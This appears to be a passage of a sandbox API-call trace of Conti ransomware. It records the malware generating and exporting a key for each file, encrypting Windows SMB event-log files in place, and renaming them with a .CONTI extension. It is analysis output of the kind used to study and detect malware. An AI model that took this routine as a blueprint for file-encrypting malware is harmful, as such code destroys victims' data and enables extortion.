	[0096.656] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741220 | out: hHeap=0x1720000) returned 1
	[0096.656] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0096.656] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d7448 | out: phKey=0x17d7448*=0x17c8470) returned 1
	[0096.656] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d744c, pdwDataLen=0x393fdd4 | out: pbData=0x17d744c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0096.657] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20
	[0096.657] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0096.657] GetLastError () returned 0x0
	[0096.657] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=69632) returned 1
	[0096.657] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.657] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.658] SetEndOfFile (hFile=0x37c) returned 1
	[0096.658] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.658] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.658] WriteFile (in: hFile=0x37c, lpBuffer=0x17d744c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d744c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.659] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.659] ReadFile (in: hFile=0x37c, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x11000, lpOverlapped=0x0) returned 1
	[0096.660] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11010) returned 1
	[0096.660] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.660] WriteFile (in: hFile=0x37c, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.661] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.661] WriteFile (in: hFile=0x37c, lpBuffer=0x17d7440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d7440*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0096.661] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.661] CloseHandle (hObject=0x37c) returned 1
	[0096.662] GetProcessHeap () returned 0x1720000
	[0096.662] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.662] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx"
	[0096.662] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.CONTI"
	[0096.663] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.conti")) returned 1
	[0096.663] GetProcessHeap () returned 0x1720000
	[0096.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.663] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0096.663] GetProcessHeap () returned 0x1720000
	[0096.663] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0cc8 | out: hHeap=0x1720000) returned 1
	[0096.663] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0096.663] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d7200 | out: phKey=0x17d7200*=0x17c8470) returned 1
	[0096.663] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d7204, pdwDataLen=0x393fdd4 | out: pbData=0x17d7204*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0096.664] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20
	[0096.665] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0096.665] GetLastError () returned 0x0
	[0096.665] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=69632) returned 1
	[0096.665] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.665] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.665] SetEndOfFile (hFile=0x380) returned 1
	[0096.665] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.665] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.666] WriteFile (in: hFile=0x380, lpBuffer=0x17d7204*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d7204*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.667] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.667] ReadFile (in: hFile=0x380, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x11000, lpOverlapped=0x0) returned 1
	[0096.668] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11010) returned 1
	[0096.668] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.668] WriteFile (in: hFile=0x380, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.668] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.668] WriteFile (in: hFile=0x380, lpBuffer=0x17d71f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d71f8*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0096.668] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.668] CloseHandle (hObject=0x380) returned 1
	[0096.670] GetProcessHeap () returned 0x1720000
	[0096.670] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.670] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx"
	[0096.670] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.CONTI"
	[0096.670] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.conti")) returned 1
	[0096.671] GetProcessHeap () returned 0x1720000
	[0096.671] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.671] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0096.671] GetProcessHeap () returned 0x1720000
	[0096.671] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17413e0 | out: hHeap=0x1720000) returned 1
	[0096.671] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0096.671] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d6d70 | out: phKey=0x17d6d70*=0x17c8470) returned 1
	[0096.671] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d6d74, pdwDataLen=0x393fdd4 | out: pbData=0x17d6d74*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0096.671] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20
	[0096.672] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0096.672] GetLastError () returned 0x0
	[0096.672] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=69632) returned 1
	[0096.672] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.672] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.672] SetEndOfFile (hFile=0x380) returned 1
	[0096.672] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.672] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.672] WriteFile (in: hFile=0x380, lpBuffer=0x17d6d74*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d6d74*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.673] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.673] ReadFile (in: hFile=0x380, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x11000, lpOverlapped=0x0) returned 1
	[0096.675] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11010) returned 1
	[0096.675] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.675] WriteFile (in: hFile=0x380, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.675] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.675] WriteFile (in: hFile=0x380, lpBuffer=0x17d6d68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d6d68*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0096.675] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.675] CloseHandle (hObject=0x380) returned 1
	[0096.677] GetProcessHeap () returned 0x1720000
	[0096.677] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.677] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx"
	[0096.677] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.CONTI"
	[0096.677] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.conti")) returned 1
	[0096.678] GetProcessHeap () returned 0x1720000
	[0096.678] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.678] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0096.678] GetProcessHeap () returned 0x1720000
	[0096.678] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0780 | out: hHeap=0x1720000) returned 1
	[0096.678] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0096.678] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d9d58 | out: phKey=0x17d9d58*=0x17c8470) returned 1
	[0096.678] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d9d5c, pdwDataLen=0x393fdd4 | out: pbData=0x17d9d5c*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0096.679] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20
	[0096.679] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0096.679] GetLastError () returned 0x0
	[0096.679] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=69632) returned 1
	[0096.679] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.679] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.679] SetEndOfFile (hFile=0x380) returned 1
	[0096.679] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.679] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.679] WriteFile (in: hFile=0x380, lpBuffer=0x17d9d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d9d5c*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.681] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.681] ReadFile (in: hFile=0x380, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x11000, lpOverlapped=0x0) returned 1
	[0096.682] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11010) returned 1
	[0096.682] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.682] WriteFile (in: hFile=0x380, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x11010, lpOverlapped=0x0) returned 1
	[0096.682] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.682] WriteFile (in: hFile=0x380, lpBuffer=0x17d9d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d9d50*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0096.682] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.682] CloseHandle (hObject=0x380) returned 1
	[0096.684] GetProcessHeap () returned 0x1720000
	[0096.684] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f38e8
	[0096.684] lstrcpyW (in: lpString1=0x17f38e8, lpString2="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx"
	[0096.684] lstrcatW (in: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", lpString2=".CONTI" | out: lpString1="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.CONTI") returned="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.CONTI"
	[0096.684] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.CONTI" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.conti")) returned 1
	[0096.685] GetProcessHeap () returned 0x1720000
	[0096.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f38e8 | out: hHeap=0x1720000) returned 1
	[0096.685] CryptDestroyKey (hKey=0x17c8470) returned 1
	[0096.685] GetProcessHeap () returned 0x1720000
	[0096.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0e30 | out: hHeap=0x1720000) returned 1
	[0096.685] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x393fe00, lpCompletionKey=0x393fe04, lpOverlapped=0x393fe10) returned 1
	[0096.685] CryptGenKey (in: hProv=0x1748770, Algid=0x6610, dwFlags=0x1, phKey=0x17d9fa0 | out: phKey=0x17d9fa0*=0x17c8470) returned 1
	[0096.685] CryptExportKey (in: hKey=0x17c8470, hExpKey=0x173a7d0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d9fa4, pdwDataLen=0x393fdd4 | out: pbData=0x17d9fa4*, pdwDataLen=0x393fdd4*=0x20c) returned 1
	[0096.686] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20
	[0096.686] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0096.686] GetLastError () returned 0x0
	[0096.686] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x393fd80 | out: lpFileSize=0x393fd80*=69632) returned 1
	[0096.686] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x11000
	[0096.686] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.686] SetEndOfFile (hFile=0x380) returned 1
	[0096.686] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.686] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.686] WriteFile (in: hFile=0x380, lpBuffer=0x17d9fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x393fd8c, lpOverlapped=0x0 | out: lpBuffer=0x17d9fa4*, lpNumberOfBytesWritten=0x393fd8c*=0x20c, lpOverlapped=0x0) returned 1
	[0096.688] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0096.688] ReadFile (in: hFile=0x380, lpBuffer=0x8e60000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x393fdac, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesRead=0x393fdac*=0x11000, lpOverlapped=0x0) returned 1
	[0097.468] CryptEncrypt (in: hKey=0x17c8470, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11000, dwBufLen=0x500000 | out: pbData=0x8e60000*, pdwDataLen=0x393fda4*=0x11010) returned 1
	[0097.469] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.469] WriteFile (in: hFile=0x380, lpBuffer=0x8e60000*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x393fdc0, lpOverlapped=0x0 | out: lpBuffer=0x8e60000*, lpNumberOfBytesWritten=0x393fdc0*=0x11010, lpOverlapped=0x0) returned 1
	[0097.469] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.469] WriteFile (in: hFile=0x380, lpBuffer=0x17d9f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x393fdd8, lpOverlapped=0x0 | out: lpBuffer=0x17d9f98*, lpNumberOfBytesWritten=0x393fdd8*=0x8, lpOverlapped=0x0) returned 1
	[0097.470] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0097.470] CloseHandle (hObject=0x380) returned 1
	[0097.471] GetProcessHeap () returned 0x1720000
	[0097.471] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
